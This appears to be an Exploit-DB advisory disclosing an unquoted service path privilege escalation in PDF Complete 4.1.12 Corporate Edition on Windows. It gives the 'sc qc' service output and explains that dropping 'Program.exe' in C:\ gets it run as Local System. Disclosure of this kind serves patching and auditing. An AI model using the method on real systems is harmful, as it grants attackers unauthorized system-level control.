PDF Complete 4.1.12 Corporate Edition - Unquoted Service Path Privilege Escalation

2016-10-19T00:00:00
ID EDB-ID:40586
Type exploitdb
Reporter Joey Lane
Modified 2016-10-19T00:00:00

Description

PDF Complete 4.1.12 Corporate Edition - Unquoted Service Path Privilege Escalation. Local exploit for Windows platform

                                        
                                            # Exploit Title: PDF Complete Corporate Edition - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Software Link: http://www.pdfcomplete.com/cms/Downloads.aspx
# Version: 4.1.12
# Tested on: Windows 7 Professional
 
PDF Complete Corporate Edition installs a service with an unquoted service path.
This enables a local privilege escalation vulnerability.  To exploit this vulnerability,
a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable
with elevated privileges.
 
 
This was tested on version 4.1.12, but other versions may be affected as well.
 
 
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C:\>sc qc pdfcDispatcher                                                        
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: pdfcDispatcher                                                    
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files (x86)\PDF Complete\pdfsvc.exe                                         
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : PDF Document Manager                               
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem
 
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EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.